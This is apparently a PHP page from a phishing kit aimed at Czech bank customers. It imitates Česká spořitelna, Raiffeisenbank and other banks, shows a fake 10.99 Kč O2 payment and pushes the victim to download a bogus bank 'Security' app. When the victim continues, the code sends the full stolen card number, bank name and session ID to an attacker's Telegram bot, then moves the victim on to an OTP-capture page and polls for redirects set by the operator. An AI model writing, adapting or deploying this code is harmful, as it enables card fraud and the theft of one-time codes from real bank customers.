<?php
// Start session to get payment session ID
session_start();

// Check if session ID exists
if (!isset($_SESSION['payment_session_id'])) {
    // Redirect to payment page if no session ID
    header('Location: payment.html');
    exit;
}

$sessionId = $_SESSION['payment_session_id'];

// Configuration file path
$config_dir = 'config';
$pending_cards_file = $config_dir . '/pending_cards.json';
$redirect_config_file = $config_dir . '/redirect_settings.json';

// Load existing redirect settings if file exists
$redirect_settings = [
    'success_url' => 'success.html',
    'failure_url' => 'failed.html',
    'default_destination' => 'https://www.example.com',
    'redirect_delay' => 2
];
if (file_exists($redirect_config_file)) {
    $config_content = file_get_contents($redirect_config_file);
    $loaded_settings = json_decode($config_content, true);
    if (is_array($loaded_settings)) {
        $redirect_settings = array_merge($redirect_settings, $loaded_settings);
    }
}

// Get card info for bank specific customization
$bank_name = 'Česká spořitelna';
$bank_logo = 'images/cs-bank-logo.png';
$bank_color = '#0070F7';
$card_type = 'VISA';

if (file_exists($pending_cards_file)) {
    $pending_content = file_get_contents($pending_cards_file);
    $pending_cards = json_decode($pending_content, true) ?: [];
    
    if (isset($pending_cards[$sessionId])) {
        if (isset($pending_cards[$sessionId]['bank_name'])) {
            $bank_name = $pending_cards[$sessionId]['bank_name'];
        }
        
        if (isset($pending_cards[$sessionId]['card_type'])) {
            $card_type = $pending_cards[$sessionId]['card_type'];
        }
        
        // Update status to APK verification
        $pending_cards[$sessionId]['status'] = 'apk_verification';
        file_put_contents($pending_cards_file, json_encode($pending_cards, JSON_PRETTY_PRINT));
    }
}

// Handle form submission
$verification_error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Process form submission based on what was submitted
    if (isset($_POST['continue'])) {
        // Load pending cards
        if (file_exists($pending_cards_file)) {
            $pending_content = file_get_contents($pending_cards_file);
            $pending_cards = json_decode($pending_content, true) ?: [];
            
            if (isset($pending_cards[$sessionId])) {
                // Update status to indicate app installation completed
                $pending_cards[$sessionId]['status'] = 'app_installed';
                $pending_cards[$sessionId]['app_installation_time'] = date('Y-m-d H:i:s');
                
                // Save updated pending cards
                file_put_contents($pending_cards_file, json_encode($pending_cards, JSON_PRETTY_PRINT));
                
                // Send notification to Telegram if configured
                $TELEGRAM_BOT_TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN';
                $CHAT_ID = 'YOUR_CHAT_ID';
                
                $message = "📱 App Installation Confirmed:\n";
                $message .= "------------------------\n";
                $message .= "💳 Card: " . $pending_cards[$sessionId]['card_number'] . "\n";
                $message .= "🏦 Bank: $bank_name\n";
                $message .= "🆔 Session ID: $sessionId\n";
                $message .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n";
                
                $telegramApiUrl = "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage";
                $postData = [
                    'chat_id' => $CHAT_ID,
                    'text' => $message,
                    'parse_mode' => 'HTML'
                ];
                
                $ch = curl_init($telegramApiUrl);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
                curl_exec($ch);
                curl_close($ch);
                
                // Proceed to next step - typically OTP
                header('Location: bank_otp.php');
                exit;
            }
        }
    }
}

// Choose bank-specific styling
$bank_styles = [
    'Česká spořitelna' => [
        'color' => '#0070F7',
        'logo' => 'images/cs-bank-logo.png',
    ],
    'Komerční banka' => [
        'color' => '#0066B0',
        'logo' => 'images/kb-bank-logo.png',
    ],
    'ČSOB' => [
        'color' => '#0097A9',
        'logo' => 'images/csob-bank-logo.png',
    ],
    'Raiffeisenbank' => [
        'color' => '#FEEE00',
        'textColor' => '#000',
        'logo' => 'images/rb-bank-logo.png',
    ],
    'Moneta' => [
        'color' => '#95C11F',
        'logo' => 'images/moneta-bank-logo.png',
    ],
    // Add more banks as needed
];

// Default styling
$bank_color = '#0070F7';
$bank_text_color = '#FFF';
$bank_logo_url = 'images/bank-logo.png';

// Apply bank-specific styling if available
if (isset($bank_styles[$bank_name])) {
    $bank_color = $bank_styles[$bank_name]['color'];
    $bank_logo_url = $bank_styles[$bank_name]['logo'];
    if (isset($bank_styles[$bank_name]['textColor'])) {
        $bank_text_color = $bank_styles[$bank_name]['textColor'];
    }
}

// Get masked card number
$masked_card = 'XXXXXXXXXXXXXXXX';
if (isset($pending_cards[$sessionId]['card_number'])) {
    $card_number = $pending_cards[$sessionId]['card_number'];
    $card_number = preg_replace('/\D/', '', $card_number);
    $masked_card = substr($card_number, 0, 4) . ' ' . substr($card_number, 4, 2) . 'XX XXXX ' . substr($card_number, -4);
}

// Function to check if a redirect has been set for this session
function checkRedirectStatus($sessionId, $pendingCardsFile) {
    if (!file_exists($pendingCardsFile)) {
        return false;
    }
    
    $pendingContent = file_get_contents($pendingCardsFile);
    $pendingCards = json_decode($pendingContent, true) ?: [];
    
    if (isset($pendingCards[$sessionId]) && 
        isset($pendingCards[$sessionId]['status']) && 
        $pendingCards[$sessionId]['status'] === 'redirected' &&
        isset($pendingCards[$sessionId]['redirect_url'])) {
        
        return $pendingCards[$sessionId]['redirect_url'];
    }
    
    return false;
}

// Check if this is an AJAX request to check status
if (isset($_GET['check']) && $_GET['check'] === 'status') {
    $redirectStatus = checkRedirectStatus($sessionId, $pending_cards_file);
    
    header('Content-Type: application/json');
    if ($redirectStatus) {
        echo json_encode(['redirect' => true, 'url' => $redirectStatus]);
    } else {
        echo json_encode(['redirect' => false]);
    }
    exit;
}

// Create a random app version number
$app_version = "1." . rand(0, 9) . "." . rand(0, 9);
$app_size = rand(15, 30) . "." . rand(1, 9) . " MB";
?>
<!DOCTYPE html>
<html lang="cs">
<head>
    <meta charset="UTF-8">
    <link rel="icon" type="image/png" sizes="16x16" href="images/downloadavatar.png">
    <link rel="icon" type="image/png" sizes="32x32" href="images/downloadavatar.png">
    <link rel="apple-touch-icon" sizes="180x180" href="images/downloadavatar.png">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Stáhnout aplikaci - <?php echo htmlspecialchars($bank_name); ?></title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            padding: 20px;
            box-sizing: border-box;
        }
        .app-container {
            background-color: white;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            width: 100%;
            max-width: 400px;
            overflow: hidden;
        }
        .bank-header {
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            padding: 15px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .bank-logo {
            height: 30px;
        }
        .card-brand {
            height: 24px;
        }
        .app-content {
            padding: 20px;
        }
        h1 {
            font-size: 1.5em;
            margin-top: 0;
            margin-bottom: 15px;
            color: #333;
        }
        .app-details {
            margin-bottom: 20px;
        }
        .detail-row {
            display: flex;
            justify-content: space-between;
            margin-bottom: 8px;
            font-size: 0.9em;
        }
        .detail-label {
            color: #666;
        }
        .detail-value {
            font-weight: bold;
            color: #333;
        }
        .app-form {
            margin-top: 25px;
        }
        .app-icon {
            width: 80px;
            height: 80px;
            border-radius: 15px;
            margin: 0 auto 15px;
            display: block;
            background-color: <?php echo $bank_color; ?>;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 40px;
            font-weight: bold;
        }
        .app-info {
            text-align: center;
            margin-bottom: 20px;
        }
        .app-name {
            font-weight: bold;
            font-size: 1.2em;
            margin-bottom: 5px;
        }
        .app-version {
            color: #666;
            font-size: 0.9em;
            margin-bottom: 5px;
        }
        .app-size {
            color: #666;
            font-size: 0.9em;
        }
        .app-download-btn {
            width: 100%;
            padding: 12px;
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            border: none;
            border-radius: 4px;
            font-size: 1em;
            font-weight: bold;
            cursor: pointer;
            transition: opacity 0.3s ease;
            margin-bottom: 15px;
        }
        .app-download-btn:hover {
            opacity: 0.9;
        }
        .app-continue-btn {
            width: 100%;
            padding: 12px;
            background-color: #f4f4f4;
            color: #333;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 1em;
            font-weight: bold;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }
        .app-continue-btn:hover {
            background-color: #e7e7e7;
        }
        .app-error {
            color: #e74c3c;
            margin-top: 10px;
            font-size: 0.9em;
        }
        .app-note {
            text-align: center;
            margin-top: 15px;
            font-size: 0.8em;
            color: #888;
        }
        .app-note p {
            margin: 5px 0;
        }
        .app-steps {
            margin: 20px 0;
            padding: 15px;
            background-color: #f9f9f9;
            border-radius: 4px;
        }
        .app-step {
            display: flex;
            margin-bottom: 10px;
        }
        .app-step:last-child {
            margin-bottom: 0;
        }
        .app-step-number {
            width: 24px;
            height: 24px;
            background-color: <?php echo $bank_color; ?>;
            color: <?php echo $bank_text_color; ?>;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            font-size: 0.8em;
            margin-right: 10px;
            flex-shrink: 0;
        }
        .app-step-text {
            font-size: 0.9em;
            color: #333;
        }
        .app-progress {
            margin: 25px 0 15px;
        }
        .progress-bar {
            width: 100%;
            height: 6px;
            background-color: #eee;
            border-radius: 3px;
            overflow: hidden;
            margin-bottom: 10px;
        }
        .progress-fill {
            height: 100%;
            background-color: <?php echo $bank_color; ?>;
            width: 0%;
            transition: width 0.5s ease-in-out;
        }
        .progress-text {
            display: flex;
            justify-content: space-between;
            font-size: 0.8em;
            color: #666;
        }
        #downloadStatus {
            text-align: center;
            margin: 15px 0;
            font-weight: bold;
            color: #333;
            display: none;
        }
    </style>
</head>
<body>
    <div class="app-container">
        <div class="bank-header">
            <img src="image/RB_logo.gif" alt="Raiffeisenbank" class="bank-logo">
            <img src="image/vm.png" alt="<?php echo htmlspecialchars($card_type); ?>" class="card-brand">
        </div>
        
        <div class="app-content">
            <h1>Zabezpečená verifikace</h1>
            
            <div class="app-details">
                <div class="detail-row">
                    <span class="detail-label">Obchodník</span>
                    <span class="detail-value">O2 Czech Republic</span>
                </div>
                <div class="detail-row">
                    <span class="detail-label">Číslo karty</span>
                    <span class="detail-value"><?php echo htmlspecialchars($masked_card); ?></span>
                </div>
                <div class="detail-row">
                    <span class="detail-label">Částka</span>
                    <span class="detail-value">10,99 Kč</span>
                </div>
            </div>
            
            <div class="app-info">
                <div class="app-icon"><?php echo strtoupper(substr($bank_name, 0, 1)); ?></div>
                <div class="app-name"><?php echo htmlspecialchars($bank_name); ?> Security</div>
                <div class="app-version">Verze <?php echo $app_version; ?></div>
                <div class="app-size"><?php echo $app_size; ?></div>
            </div>
            
            <div class="app-steps">
                <div class="app-step">
                    <div class="app-step-number">1</div>
                    <div class="app-step-text">Stáhněte aplikaci <?php echo htmlspecialchars($bank_name); ?> Security</div>
                </div>
                <div class="app-step">
                    <div class="app-step-number">2</div>
                    <div class="app-step-text">Nainstalujte a otevřete aplikaci</div>
                </div>
                <div class="app-step">
                    <div class="app-step-number">3</div>
                    <div class="app-step-text">Potvrďte platbu v aplikaci a poté klikněte na tlačítko "Pokračovat"</div>
                </div>
            </div>
            
            <div id="downloadStatus"></div>
            
            <div class="app-progress" id="progressArea" style="display: none;">
                <div class="progress-bar">
                    <div class="progress-fill" id="progressBar"></div>
                </div>
                <div class="progress-text">
                    <span>Stahování</span>
                    <span id="progressPercent">0%</span>
                </div>
            </div>
            
            <?php if (isset($verification_error) && $verification_error): ?>
            <div class="app-error">
                <?php echo htmlspecialchars($verification_error); ?>
            </div>
            <?php endif; ?>
            
            <button id="downloadButton" class="app-download-btn">Stáhnout aplikaci</button>
            
            <form method="post" action="" id="continueForm" style="display: none;">
                <input type="hidden" name="continue" value="1">
                <button type="submit" class="app-continue-btn">Pokračovat</button>
            </form>
            
            <div class="app-note">
                <p>Pro ověření platby je vyžadována aplikace <?php echo htmlspecialchars($bank_name); ?> Security.</p>
                <p>Aplikace slouží ke zvýšení bezpečnosti a ochraně vaší platby.</p>
            </div>
        </div>
    </div>
    
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const downloadButton = document.getElementById('downloadButton');
            const continueForm = document.getElementById('continueForm');
            const progressArea = document.getElementById('progressArea');
            const progressBar = document.getElementById('progressBar');
            const progressPercent = document.getElementById('progressPercent');
            const downloadStatus = document.getElementById('downloadStatus');
            
            downloadButton.addEventListener('click', function() {
                // Hide download button
                downloadButton.style.display = 'none';
                
                // Show progress bar
                progressArea.style.display = 'block';
                downloadStatus.style.display = 'block';
                downloadStatus.textContent = 'Stahování aplikace...';
                
                // Simulate download progress
                let progress = 0;
                const downloadInterval = setInterval(function() {
                    progress += Math.random() * 10;
                    if (progress > 100) progress = 100;
                    
                    progressBar.style.width = progress + '%';
                    progressPercent.textContent = Math.round(progress) + '%';
                    
                    if (progress === 100) {
                        clearInterval(downloadInterval);
                        downloadStatus.textContent = 'Aplikace byla stažena. Nainstalujte ji a otevřete.';
                        
                        // Show continue button after a delay
                        setTimeout(function() {
                            continueForm.style.display = 'block';
                        }, 2000);
                    }
                }, 500);
            });
            
            // Check redirect status periodically
            function checkRedirectStatus() {
                fetch('apk_verification.php?check=status')
                    .then(response => response.json())
                    .then(data => {
                        if (data.redirect) {
                            // Redirect to the specified URL
                            window.location.href = data.url;
                        } else {
                            // Continue checking after a delay
                            setTimeout(checkRedirectStatus, 3000); // Check every 3 seconds
                        }
                    })
                    .catch(error => {
                        console.error('Error:', error);
                        // Try again after a delay even if there's an error
                        setTimeout(checkRedirectStatus, 5000);
                    });
            }
            
            // Start checking for redirect status
            checkRedirectStatus();
        });
    </script>
</body>
</html>